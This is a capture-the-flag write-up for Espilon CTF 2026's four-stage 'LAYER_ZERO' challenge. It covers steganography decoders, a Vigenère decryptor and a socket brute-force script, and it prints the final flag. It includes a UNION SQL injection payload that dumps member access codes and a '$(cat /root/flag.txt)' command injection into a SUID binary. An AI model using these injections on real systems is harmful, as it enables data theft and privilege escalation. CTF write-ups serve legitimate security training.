ESPILON-CTF-2026-Writeups/Misc/LAYER_ZERO
2026-03-26 17:33:43 +00:00
..
README.md write-up: Misc/LAYER_ZERO/README.md 2026-03-26 17:33:43 +00:00

LAYER_ZERO

Field Value
Category Misc
Difficulty Hard
Points 600
Author espilon
CTF Espilon 2026

Description

"No matter where you go, everyone's connected."

A signal has been detected deep in the AETHER_NET. The Knights of the Eastern Calculus sealed four channels when Eiri Masami ascended. Each holds a fragment of Protocol Seven.

Connect to the Wired. Read the Layers. Unlock the channels.

nc espilon.net 1337

Channels sealed:

  • Layer 01 — CHANNEL_STATIC (she first connected in the static)
  • Layer 03 — CHANNEL_KNIGHTS (the Knights speak in code)
  • Layer 07 — CHANNEL_WIRED (she existed everywhere simultaneously)
  • Layer 13 — CHANNEL_EIRI (he broadcast from beyond the Wired)

Difficulty: Hard | Multi-stage | Unique per instance


TL;DR

Four-stage multi-technique challenge: PNG filter-byte steganography (L01), SQL injection + Vigenère decryption (L03), state-machine sequence brute-force (L07), and echo-hiding audio steganography (L13). Collect four tokens, submit all to LAYER_GOD (port 6660), then exploit a SUID binary via command injection to read the flag.


Tools

Tool Purpose
nc All service connections
Python 3 + zlib + struct PNG steganography extraction
curl SQLi on CHANNEL_KNIGHTS
Python 3 + itertools State machine brute-force
Python 3 + numpy Echo hiding audio analysis

Channel Summary

Layer Channel Port Technique
L01 CHANNEL_STATIC 4141/tcp PNG filter-type steganography
L03 CHANNEL_KNIGHTS 8080/tcp SQL injection + Vigenère cipher
L07 CHANNEL_WIRED 4242/tcp State machine sequence brute-force
L13 CHANNEL_EIRI 9001/tcp Echo hiding audio steganography
GOD LAYER_GOD 6660/tcp Ritual submission + SUID exploit

Solution

Layer 01 — CHANNEL_STATIC (PNG steganography)

The file /home/lain/CHANNEL_STATIC/lain_signal.png hides data in the filter type byte of each scanline in the raw IDAT stream.

import struct, zlib

with open("lain_signal.png", "rb") as f:
    data = f.read()

# Collect IDAT chunks
pos, idat = 8, b""
while pos < len(data):
    length = struct.unpack(">I", data[pos:pos+4])[0]
    ctype  = data[pos+4:pos+8]
    if ctype == b"IDAT":
        idat += data[pos+8:pos+8+length]
    pos += 12 + length

raw = zlib.decompress(idat)
row_size = 1 + 64 * 3  # 1 filter byte + 64 RGB pixels

# First 24 filter bytes encode 3 ASCII chars (8 bits each)
bits = [raw[i * row_size] for i in range(24)]
decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))
print(decoded)

Submit the decoded string:

SUBMIT <decoded>

Server responds with token L01:xxxxxxxxxx.

📸 [screenshot: Python script printing the 3-character steganographic code]


Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)

UNION injection on the /search?q= endpoint:

/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--

One member row has a Vigenère-encrypted access code. Decrypt with key KUDARANAI:

def vigenere_decrypt(text, key):
    result, ki = [], 0
    for c in text.upper():
        if c.isalpha():
            shift = ord(key[ki % len(key)].upper()) - ord("A")
            result.append(chr((ord(c) - ord("A") - shift) % 26 + ord("A")))
            ki += 1
        else:
            result.append(c)
    return "".join(result)

plaintext = vigenere_decrypt(encrypted_code, "KUDARANAI")

Submit: /submit?code=<plaintext>

Server responds with token L03:xxxxxxxxxx.

📸 [screenshot: web response returning the L03 token after submitting the decrypted code]


Layer 07 — CHANNEL_WIRED (state machine brute-force)

The service expects a 4-word sequence. First two are fixed: PRESENT_DAY, PRESENT_TIME. Brute-force the last two:

import socket, itertools

WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
         "KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]

for w3, w4 in itertools.product(WORD3, WORD4):
    with socket.create_connection((<host>, 4242)) as s:
        s.sendall(b"PRESENT_DAY\n")
        s.sendall(b"PRESENT_TIME\n")
        s.sendall(f"{w3}\n".encode())
        s.sendall(f"{w4}\n".encode())
        resp = s.recv(1024).decode()
        if "L07:" in resp:
            print(f"Found: {w3} / {w4}")
            print(resp)
            break

📸 [screenshot: brute-force script finding the correct word pair and printing the L07 token]


Layer 13 — CHANNEL_EIRI (echo hiding)

Stream 30 seconds of 16-bit mono PCM at 44100 Hz. Data is hidden via echo hiding: each 1024-sample segment has a 1-bit echo at delay D1=200 samples (bit=1) or D0=100 samples (bit=0).

import numpy as np
import socket

HOST = "<host>"
pcm_data = b""
with socket.create_connection((HOST, 9001)) as s:
    while len(pcm_data) < 44100 * 30 * 2:
        chunk = s.recv(4096)
        if not chunk:
            break
        pcm_data += chunk

samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0

SEG_SIZE, D0, D1 = 1024, 100, 200
N_CHARS = 5
bits = []
for i in range(N_CHARS * 8):
    seg = samples[i * SEG_SIZE: (i + 1) * SEG_SIZE]
    ac  = np.correlate(seg, seg, "full")
    mid = len(ac) // 2
    bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")

code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))
print(code)

Submit the decoded code:

SUBMIT <code>

Server responds with token L13:xxxxxxxxxx.

📸 [screenshot: autocorrelation peaks confirming echo delays and decoded token]


LAYER_GOD — Ritual + SUID exploit

Submit all four tokens:

nc <host> 6660
RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx

The SUID binary /opt/protocol7/eiri_validator is unlocked.

Exploit via command injection — the binary calls system() with unsanitised input:

/opt/protocol7/eiri_validator
$(cat /root/flag.txt)

📸 [screenshot: eiri_validator printing the flag via command injection]


Flag

ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}